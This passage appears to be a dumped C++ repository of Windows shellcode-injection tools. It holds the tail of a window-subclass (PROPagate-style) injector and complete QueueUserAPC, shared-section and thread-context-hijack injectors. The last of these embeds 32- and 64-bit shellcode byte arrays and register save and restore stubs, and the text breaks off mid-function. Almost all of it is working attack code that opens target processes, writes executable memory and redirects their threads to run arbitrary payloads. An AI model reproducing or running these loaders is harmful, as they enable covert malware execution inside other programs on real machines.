sizeof(subclassHeader), &numberOfbytesWritten)) 139 | { 140 | printf("[Error] %d - Failed to write updated subclass header into remote process (WriteProcessMemory)\n", GetLastError()); 141 | return false; 142 | } 143 | 144 | printf("[Info] - Wrote payload and payload header into subclass\n"); 145 | 146 | if (!SetPropA(shellDllDefViewWindowHandle, "UxSubclassInfo", remoteSubclassHeaderBuffer)) 147 | { 148 | printf("[Error] %d - Failed to change UxSubclassInfo to the new subclass header using SetProp\n", GetLastError()); 149 | return false; 150 | } 151 | 152 | printf("[Info] - Updated UxSubclassInfo to new subclass header\n"); 153 | 154 | SendMessageA(shellDllDefViewWindowHandle, WM_CLOSE, 0, 0); 155 | 156 | printf("[Info] - Executed payload by send a WM_CLOSE message to the window\n"); 157 | 158 | if (!SetPropA(shellDllDefViewWindowHandle, "UxSubclassInfo", propHandle)) 159 | { 160 | printf("[Error] %d - Failed to restore subclass header using SetPropA\n", GetLastError()); 161 | return false; 162 | } 163 | 164 | printf("[Info] - Restored original subclass header\n"); 165 | 166 | // cleanup 167 | VirtualFreeEx(processHandle, remoteSubclassHeaderBuffer, 0, MEM_RELEASE); 168 | VirtualFreeEx(processHandle, remoteSubclassBuffer, 0, MEM_RELEASE); 169 | CloseHandle(processHandle); 170 | 171 | return true; 172 | } 173 | 174 | int main(int argc, char* argv[]) 175 | { 176 | if (!Propagate(shellcode, sizeof(shellcode))) 177 | { 178 | printf("[Error] - Failed to propagate\n"); 179 | return 1; 180 | } 181 | 182 | return 0; 183 | } -------------------------------------------------------------------------------- /shellcode_injection/queueapc_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Injects shellcode into every thread of a process using QueueAPC. 3 | * [Warning] - The current implementation causes the process crash after executing the shellcode since the shellcode does not comply the PAPCFUNC prototype expected by QueueUserApc. 4 | * [Requirements] 5 | * - atleast one thread must be in alertable state at some point 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "../payload/shellcode.hpp" 14 | 15 | int main(int argc, char* argv[]) 16 | { 17 | const char* processName; 18 | 19 | if (argc != 2) 20 | { 21 | printf("Usage: *.exe processName\n"); 22 | return 1; 23 | } 24 | 25 | processName = argv[1]; 26 | 27 | HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); 28 | if (processesSnapshot == INVALID_HANDLE_VALUE) 29 | { 30 | printf("[Error] %d - Failed to CreateToolhelp32Snapshot\n", GetLastError()); 31 | return 1; 32 | } 33 | 34 | // get first process of snapshot 35 | PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; 36 | if (!Process32First(processesSnapshot, &processEntry)) 37 | { 38 | printf("[Error] %d - Failed to Process32First\n", GetLastError()); 39 | return 1; 40 | } 41 | 42 | bool foundTargetProcess = false; 43 | // iterate processes 44 | do 45 | { 46 | // check if we found the target process 47 | if (strcmpi(processEntry.szExeFile, processName) == 0) 48 | { 49 | foundTargetProcess = true; 50 | break; 51 | } 52 | } while (Process32Next(processesSnapshot, &processEntry)); 53 | 54 | if (!foundTargetProcess) 55 | { 56 | printf("[Error] - Failed to find process: %s\n", processName); 57 | return 1; 58 | } 59 | 60 | printf("[Info] - Found Process %s with id %d\n", processName, processEntry.th32ProcessID); 61 | 62 | // acquire a handle to the target process 63 | HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); 64 | if (!targetProcessHandle) 65 | { 66 | printf("[Error] %d - Failed to acquire process handle\n", GetLastError()); 67 | return 1; 68 | } 69 | 70 | // allocate memory in target process 71 | LPVOID remoteMemory = VirtualAllocEx(targetProcessHandle, NULL, sizeof(shellcode)-1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 72 | if (!remoteMemory) 73 | { 74 | printf("[Error] %d - Failed to allocate memory in target process\n", GetLastError()); 75 | return 1; 76 | } 77 | 78 | printf("[Info] - Allocated remote memory at %p\n", remoteMemory); 79 | 80 | // write shellcode into target process 81 | if (!WriteProcessMemory(targetProcessHandle, remoteMemory, shellcode, sizeof(shellcode)-1, NULL)) 82 | { 83 | printf("[Error] %d - Failed to write .dll path to target process\n", GetLastError()); 84 | return 1; 85 | } 86 | 87 | printf("[Info] - Wrote shellcode to remote memory at %p\n", remoteMemory); 88 | 89 | // get first thread of snapshot 90 | THREADENTRY32 currentThreadEntry = { sizeof(THREADENTRY32) }; 91 | if (!Thread32First(processesSnapshot, ¤tThreadEntry)) 92 | { 93 | printf("[Error] %d - Failed to Thread32First\n", GetLastError()); 94 | return 1; 95 | } 96 | 97 | // iterate over target processes threads and inject APC into each of them 98 | // this increases the chance of the shellcode being executed since only one of the thread needs to reach an alertable state 99 | do 100 | { 101 | if (currentThreadEntry.th32OwnerProcessID == processEntry.th32ProcessID) 102 | { 103 | HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, currentThreadEntry.th32ThreadID); 104 | if (!threadHandle) 105 | { 106 | printf("[Warning] - Failed to acquire thread handle with error %d\n", GetLastError()); 107 | continue; 108 | } 109 | QueueUserAPC((PAPCFUNC)remoteMemory, threadHandle, NULL); 110 | printf("[Info] - Queued APC for thread %d\n", currentThreadEntry.th32ThreadID); 111 | CloseHandle(threadHandle); 112 | } 113 | } while (Thread32Next(processesSnapshot, ¤tThreadEntry)); 114 | 115 | return 0; 116 | } -------------------------------------------------------------------------------- /shellcode_injection/section_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Injects shellcode into a process using a shared section. 3 | * Supports 32- and 64 Bit applications. 4 | * [Warning] - The current implementation crashes the target process after executing the shellcode 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "../payload/shellcode.hpp" 13 | #include "../common/ntddk.h" 14 | 15 | 16 | int main(int argc, char* argv[]) 17 | { 18 | const char* processName; 19 | 20 | if (argc != 2) 21 | { 22 | printf("Usage: *.exe processName\n"); 23 | return 1; 24 | } 25 | 26 | processName = argv[1]; 27 | 28 | printf("[Info] - Injecting shellcode into %s\n", processName); 29 | 30 | HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); 31 | if (processesSnapshot == INVALID_HANDLE_VALUE) 32 | { 33 | printf("[Error] %d - Failed to CreateToolhelp32Snapshot\n", GetLastError()); 34 | return 1; 35 | } 36 | 37 | // get first process of snapshot 38 | PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; 39 | if (!Process32First(processesSnapshot, &processEntry)) 40 | { 41 | printf("[Error] %d - Failed to Process32First\n", GetLastError()); 42 | return 1; 43 | } 44 | 45 | bool foundTargetProcess = false; 46 | 47 | // iterate processes 48 | do 49 | { 50 | // check if we found the target process 51 | if (strcmpi(processEntry.szExeFile, processName) == 0) 52 | { 53 | foundTargetProcess = true; 54 | break; 55 | } 56 | } while (Process32Next(processesSnapshot, &processEntry)); 57 | 58 | if (!foundTargetProcess) 59 | { 60 | printf("[Error] - Failed to find process: %s\n", processName); 61 | return 1; 62 | } 63 | 64 | printf("[Info] - Found Process %s with pid %d\n", processName, processEntry.th32ProcessID); 65 | 66 | // acquire a handle to the target process 67 | HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); 68 | if (!targetProcessHandle) 69 | { 70 | printf("[Error] %d - Failed to acquire process handle\n", GetLastError()); 71 | return 1; 72 | } 73 | 74 | printf("[Info] - Acquired process handle %p\n", targetProcessHandle); 75 | 76 | HANDLE section; 77 | SIZE_T size = 0x1000; 78 | LARGE_INTEGER sectionSize = { size }; 79 | void* localSectionOffset = nullptr; 80 | void* remoteSectionOffset = nullptr; 81 | 82 | // create the section to be shared between this and the target process 83 | if (!NT_SUCCESS(NtCreateSection(§ion, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, §ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL))) 84 | { 85 | printf("[Error] - Failed to create section\n"); 86 | return 1; 87 | } 88 | 89 | // map into own process 90 | if (!NT_SUCCESS(NtMapViewOfSection(section, GetCurrentProcess(), &localSectionOffset, NULL, NULL, NULL, &size, ViewUnmap, NULL, PAGE_READWRITE))) 91 | { 92 | printf("[Error] - Failed to map view of section into own section\n"); 93 | return 1; 94 | } 95 | 96 | // map into target process 97 | if (!NT_SUCCESS(NtMapViewOfSection(section, targetProcessHandle, &remoteSectionOffset, NULL, NULL, NULL, &size, ViewUnmap, NULL, PAGE_EXECUTE_READ))) 98 | { 99 | printf("[Error] - Failed to mao view of section into target process\n"); 100 | return 1; 101 | } 102 | 103 | // copy shellcode into section. This change will be reflected in the target process 104 | memcpy(localSectionOffset, shellcode, sizeof(shellcode)); 105 | 106 | // create a thread in the target process which loads the .dll 107 | HANDLE hThread = CreateRemoteThread( 108 | targetProcessHandle, 109 | nullptr, 110 | NULL, 111 | reinterpret_cast(remoteSectionOffset), 112 | NULL, 113 | NULL, 114 | nullptr 115 | ); 116 | 117 | if (!hThread) 118 | { 119 | printf("[Error %d] - Failed to CreateRemoteThread\n", GetLastError()); 120 | return 1; 121 | } 122 | 123 | printf("[Info] - Created remote thread. Executing %p\n", remoteSectionOffset); 124 | 125 | CloseHandle(hThread); 126 | } -------------------------------------------------------------------------------- /shellcode_injection/threadcontext_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Injects shellcode into every thread of a process using Get/SetThreadContext. 3 | * Supports 32- and 64 Bit applications. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "../payload/shellcode.hpp" 12 | 13 | // https://www.exploit-db.com/exploits/37758 14 | // // https://github.com/NoviceLive/shellcoding/blob/master/windows/messagebox/messagebox32.asm 15 | // this is 32 bit shellcode 16 | /*char reigsterpreserving_shellcode[] = "\x60\x9c\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b" 17 | "\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09" 18 | "\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d" 19 | "\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03" 20 | "\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81" 21 | "\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04" 22 | "\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03" 23 | "\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3" 24 | "\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68" 25 | "\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68" 26 | "\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9" 27 | "\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65" 28 | "\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01" 29 | "\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68" 30 | "\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68" 31 | "\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68" 32 | "\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57" 33 | "\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c" 34 | "\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78" 35 | "\x69\x74\x54\x53\xff\xd6\x57\xff\xd0\x9d\x61\xE9\x00\x00\x00\x00";*/ 36 | 37 | 38 | #ifdef _WIN64 39 | #define Xip Rip 40 | // modified based on: https://gist.github.com/kkent030315/b508e56a5cb0e3577908484fa4978f12 41 | // removed ExitProcesss 42 | // added jmp to cleanup 43 | char reigsterpreserving_shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00" 44 | "\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8" 45 | "\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00" 46 | "\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33" 47 | "\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00" 48 | "\x48\x33\xC9\xFF\xD0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 49 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x4B" 50 | "\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61" 51 | "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33" 52 | "\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F" 53 | "\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00" 54 | "\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F" 55 | "\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60" 56 | "\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24" 57 | "\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27" 58 | "\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7" 59 | "\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33" 60 | "\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C" 61 | "\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED" 62 | "\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45" 63 | "\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C" 64 | "\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48" 65 | "\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6" 66 | "\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B" 67 | "\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B" 68 | "\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C" 69 | "\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44" 70 | "\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6" 71 | "\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3"; 72 | 73 | BYTE pushRegisters[] = { 74 | 0x9C, //pushfq 75 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 76 | 0xF3, 0x44, 0x0F, 0x7F, 0x3C, 0x24, //movdqu XMMWORD PTR [rsp],xmm15 77 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 78 | 0xF3, 0x44, 0x0F, 0x7F, 0x34, 0x24, //movdqu XMMWORD PTR [rsp],xmm14 79 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 80 | 0xF3, 0x44, 0x0F, 0x7F, 0x2C, 0x24, //movdqu XMMWORD PTR [rsp],xmm13 81 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 82 | 0xF3, 0x44, 0x0F, 0x7F, 0x24, 0x24, //movdqu XMMWORD PTR [rsp],xmm12 83 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 84 | 0xF3, 0x44, 0x0F, 0x7F, 0x1C, 0x24, //movdqu XMMWORD PTR [rsp],xmm11 85 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 86 | 0xF3, 0x44, 0x0F, 0x7F, 0x14, 0x24, //movdqu XMMWORD PTR [rsp],xmm10 87 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 88 | 0xF3, 0x44, 0x0F, 0x7F, 0x0C, 0x24, //movdqu XMMWORD PTR [rsp],xmm9 89 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 90 | 0xF3, 0x44, 0x0F, 0x7F, 0x04, 0x24, //movdqu XMMWORD PTR [rsp],xmm8 91 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 92 | 0xF3, 0x0F, 0x7F, 0x3C, 0x24, //movdqu XMMWORD PTR [rsp],xmm7 93 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 94 | 0xF3, 0x0F, 0x7F, 0x34, 0x24, //movdqu XMMWORD PTR [rsp],xmm6 95 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 96 | 0xF3, 0x0F, 0x7F, 0x2C, 0x24, //movdqu XMMWORD PTR [rsp],xmm5 97 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 98 | 0xF3, 0x0F, 0x7F, 0x24, 0x24, //movdqu XMMWORD PTR [rsp],xmm4 99 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 100 | 0xF3, 0x0F, 0x7F, 0x1C, 0x24, //movdqu XMMWORD PTR [rsp],xmm3 101 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 102 | 0xF3, 0x0F, 0x7F, 0x14, 0x24, //movdqu XMMWORD PTR [rsp],xmm2 103 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 104 | 0xF3, 0x0F, 0x7F, 0x0C, 0x24, //movdqu XMMWORD PTR [rsp],xmm1 105 | 0x48, 0x83, 0xEC, 0x10, //sub rsp,0x10 106 | 0xF3, 0x0F, 0x7F, 0x04, 0x24, //movdqu XMMWORD PTR [rsp],xmm0 107 | 0x41, 0x57, //push r15 108 | 0x41, 0x56, //push r14 109 | 0x41, 0x55, //push r13 110 | 0x41, 0x54, //push r12 111 | 0x41, 0x53, //push r11 112 | 0x41, 0x52, //push r10 113 | 0x41, 0x51, //push r9 114 | 0x41, 0x50, //push r8 115 | 0x57, //push rdi 116 | 0x56, //push rsi 117 | 0x55, //push rbp 118 | 0x53, //push rbx 119 | 0x52, //push rdx 120 | 0x51, //push rcx 121 | 0x50, //push rax 122 | }; 123 | 124 | BYTE correctStackAndPopRegisters[] = { 125 | 0x48, 0x81, 0xC4, 0x28, 0x00, 0x00, 0x00, //add rsp,0x1a8 126 | 0x58, //pop rax 127 | 0x59, //pop rcx 128 | 0x5A, //pop rdx 129 | 0x5B, //pop rbx 130 | 0x5D, //pop rbp 131 | 0x5E, //pop rsi 132 | 0x5F, //pop rdi 133 | 0x41, 0x58, //pop r8 134 | 0x41, 0x59, //pop r9 135 | 0x41, 0x5A, //pop r10 136 | 0x41, 0x5B, //pop r11 137 | 0x41, 0x5C, //pop r12 138 | 0x41, 0x5D, //pop r13 139 | 0x41, 0x5E, //pop r14 140 | 0x41, 0x5F, //pop r15 141 | 0xF3, 0x0F, 0x6F, 0x04, 0x24, //movdqu xmm0,XMMWORD PTR[rsp] 142 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x10 143 | 0xF3, 0x0F, 0x6F, 0x0C, 0x24, //movdqu xmm1,XMMWORD PTR[rsp] 144 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x10 145 | 0xF3, 0x0F, 0x6F, 0x14, 0x24, //movdqu xmm2,XMMWORD PTR[rsp] 146 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x10 147 | 0xF3, 0x0F, 0x6F, 0x1C, 0x24, //movdqu xmm3,XMMWORD PTR[rsp] 148 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x10 149 | 0xF3, 0x0F, 0x6F, 0x24, 0x24, //movdqu xmm4,XMMWORD PTR[rsp] 150 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x10 151 | 0xF3, 0x0F, 0x6F, 0x2C, 0x24, //movdqu xmm5,XMMWORD PTR[rsp] 152 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x10 153 | 0xF3, 0x0F, 0x6F, 0x34, 0x24, //movdqu xmm6,XMMWORD PTR[rsp] 154 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x10 155 | 0xF3, 0x0F, 0x6F, 0x3C, 0x24, //movdqu xmm7,XMMWORD PTR[rsp] 156 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x10 157 | 0xF3, 0x44, 0x0F, 0x6F, 0x04, 0x24, //movdqu xmm8,XMMWORD PTR[rsp] 158 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x10 159 | 0xF3, 0x44, 0x0F, 0x6F, 0x0C, 0x24, //movdqu xmm9,XMMWORD PTR[rsp] 160 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x10 161 | 0xF3, 0x44, 0x0F, 0x6F, 0x14, 0x24, //movdqu xmm10,XMMWORD PTR[rsp] 162 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x10 163 | 0xF3, 0x44, 0x0F, 0x6F, 0x1C, 0x24, //movdqu xmm11,XMMWORD PTR[rsp] 164 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x10 165 | 0xF3, 0x44, 0x0F, 0x6F, 0x24, 0x24, //movdqu xmm12,XMMWORD PTR[rsp] 166 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x10 167 | 0xF3, 0x44, 0x0F, 0x6F, 0x2C, 0x24, //movdqu xmm13,XMMWORD PTR[rsp] 168 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x10 169 | 0xF3, 0x44, 0x0F, 0x6F, 0x34, 0x24, //movdqu xmm14,XMMWORD PTR[rsp] 170 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x10 171 | 0xF3, 0x44, 0x0F, 0x6F, 0x3C, 0x24, //movdqu xmm15,XMMWORD PTR[rsp] 172 | 0x48, 0x83, 0xC4, 0x10, //add rsp,0x20 173 | 0x9D //popfq 174 | }; 175 | #else 176 | #define Xip Eip 177 | /** 178 | * removed Exit process 179 | * start with saving registers (pushfd, pushad) 180 | * Correct stack for pushes of shellcode strings: added "add esp,0x4c" 181 | * restore saved registers (popfd, popad) 182 | * added jmp back at the end (jmp rel32) 183 | */ 184 | char reigsterpreserving_shellcode[] = "\x60\x9c\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b" 185 | "\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09" 186 | "\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d" 187 | "\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03" 188 | "\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81" 189 | "\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04" 190 | "\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03" 191 | "\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3" 192 | "\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68" 193 | "\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68" 194 | "\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9" 195 | "\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65" 196 | "\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01" 197 | "\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68" 198 | "\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68" 199 | "\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68" 200 | "\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57" 201 | "\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c" 202 | "\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78" 203 | "\x69\x74\x54\x53\xff\xd6\x83\xC4\x4C\x9d\x61\xE9\x00\x00\x00\x00"; // removed exit process, added "add esp,0x4c" (\x83\xC4\x4C), added jmp back 204 | #endif 205 | 206 | int main(int argc, char* argv[]) 207 | { 208 | const char* processName; 209 | 210 | if (argc != 2) 211 | { 212 | printf("Usage: *.exe processName\n"); 213 | return 1; 214 | } 215 | 216 | processName = argv[1]; 217 | 218 | HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); 219 | if (processesSnapshot == INVALID_HANDLE_VALUE) 220 | { 221 | printf("[Error] %d - Failed to CreateToolhelp32Snapshot\n", GetLastError()); 222 | return 1; 223 | } 224 | 225 | // get first process of snapshot 226 | PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; 227 | if (!Process32First(processesSnapshot, &processEntry)) 228 | { 229 | printf("[Error] %d - Failed to Process32First\n", GetLastError()); 230 | return 1; 231 | } 232 | 233 | bool foundTargetProcess = false; 234 | // iterate processes 235 | do 236 | { 237 | // check if we found the target process 238 | if (strcmpi(processEntry.szExeFile, processName) == 0) 239 | { 240 | foundTargetProcess = true; 241 | break; 242 | } 243 | } while (Process32Next(processesSnapshot, &processEntry)); 244 | 245 | if (!foundTargetProcess) 246 | { 247 | printf("[Error] - Failed to find process: %s\n", processName); 248 | return 1; 249 | } 250 | 251 | printf("[Info] - Found Process %s with id %d\n", processName, processEntry.th32ProcessID); 252 | 253 | // acquire a handle to the target process 254 | HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); 255 | if (!targetProcessHandle) 256 | { 257 | printf("[Error] %d - Failed to acquire process handle\n", GetLastError()); 258 | return 1; 259 | } 260 | 261 | // allocate memory in target process 262 | LPVOID remoteMemory = VirtualAllocEx(targetProcessHandle, NULL, sizeof(reigsterpreserving_shellcode) - 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 263 | if (!remoteMemory) 264 | { 265 | printf("[Error] %d - Failed to allocate memory in target process\n", GetLastError()); 266 | return 1; 267 | } 268 | 269 | printf("[Info] - Allocated remote memory at %p\n", remoteMemory); 270 | 271 | // get first thread of snapshot 272 | THREADENTRY32 currentThreadEntry = { sizeof(THREADENTRY32) }; 273 | if (!Thread32First(processesSnapshot, ¤tThreadEntry)) 274 | { 275 | printf("[Error] %d - Failed to Thread32First\n", GetLastError()); 276 | return 1; 277 | } 278 | 279 | // find to thread in the target processes and execute code by changing its CONTEXT 280 | do 281 | { 282 | if (currentThreadEntry.th32OwnerProcessID == processEntry.th32ProcessID) 283 | { 284 | HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, currentThreadEntry.th32ThreadID); 285 | if (!threadHandle) 286 | { 287 | printf("[Warning] - Failed to acquire thread handle with error %d\n", GetLastError()); 288 | continue; 289 | } 290 | if (SuspendThread(threadHandle) == -1) 291 | { 292 | printf("[Error] %d - Failed to suspend thread\n", GetLastError()); 293 | return 1; 294 | } 295 | 296 | CONTEXT ctx{}; 297 | ctx.ContextFlags = CONTEXT_ALL; 298 | if (!GetThreadContext(threadHandle, &ctx)) 299 | { 300 | printf("[Error] %d - Failed to GetThreadContext\n", GetLastError()); 301 | return 1; 302 | } 303 | 304 | printf("[Info] - Current instruction pointer %llx\n", ctx.Xip); 305 | 306 | #ifdef _WIN64 307 | const int absoluteJmpLength = 14; 308 | int8_t absoluteJmp[absoluteJmpLength] = 309 | { 310 | 0xff, 0x25, 0x0, 0x0, 0x0, 0x0, //JMP[rip + 0] 311 | 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88 //absolute address of jump 312 | }; 313 | // write jmp from messagebox shellcode to popRegisters 314 | *(int64_t*)&absoluteJmp[6] = (int64_t)remoteMemory + sizeof(pushRegisters) + sizeof(reigsterpreserving_shellcode) - 1; 315 | memcpy(&reigsterpreserving_shellcode[88], absoluteJmp, absoluteJmpLength); 316 | 317 | if (!WriteProcessMemory(targetProcessHandle, (int8_t*)remoteMemory, pushRegisters, sizeof(pushRegisters), NULL)) 318 | { 319 | printf("[Error] %d - Failed to write pushRegisters shellcode to target process\n", GetLastError()); 320 | return 1; 321 | } 322 | 323 | // the MessageBox shellcode will jump to pop registers as last step 324 | if (!WriteProcessMemory(targetProcessHandle, (int8_t*)remoteMemory + sizeof(pushRegisters), reigsterpreserving_shellcode, sizeof(reigsterpreserving_shellcode) - 1, NULL)) 325 | { 326 | printf("[Error] %d - Failed to write MessageBox shellcode to target process\n", GetLastError()); 327 | return 1; 328 | } 329 | 330 | // pop registers, thereby restoring the original register values 331 | if (!WriteProcessMemory(targetProcessHandle, (int8_t*)remoteMemory + sizeof(pushRegisters) + sizeof(reigsterpreserving_shellcode) -1, correctStackAndPopRegisters, sizeof(correctStackAndPopRegisters), NULL)) 332 | { 333 | printf("[Error] %d - Failed to write shellcode to target process\n", GetLastError()); 334 | return 1; 335 | } 336 | 337 | // write jmp back to the instruction the hijacked thread was going to execute next 338 | *(int64_t*)&absoluteJmp[6] = ctx.Xip; 339 | if (!WriteProcessMemory(targetProcessHandle, (int8_t*)remoteMemory + sizeof(pushRegisters) + sizeof(reigsterpreserving_shellcode) - 1 + sizeof(correctStackAndPopRegisters), absoluteJmp, sizeof(absoluteJmp), NULL)) 340 | { 341 | printf("[Error] %d - Failed to write absoluteJmp to target process\n", GetLastError()); 342 | return 1; 343 | } 344 | #else 345 | //+6 because the five byte JMP and \0 charcter are the last thing sin the shellcode. -5 because the JMP instruction is realtive to the next instruction 346 | int32_t target = ctx.Xip - (int32_t)remoteMemory - sizeof(reigsterpreserving_shellcode) + 6 - 5; 347 | 348 | 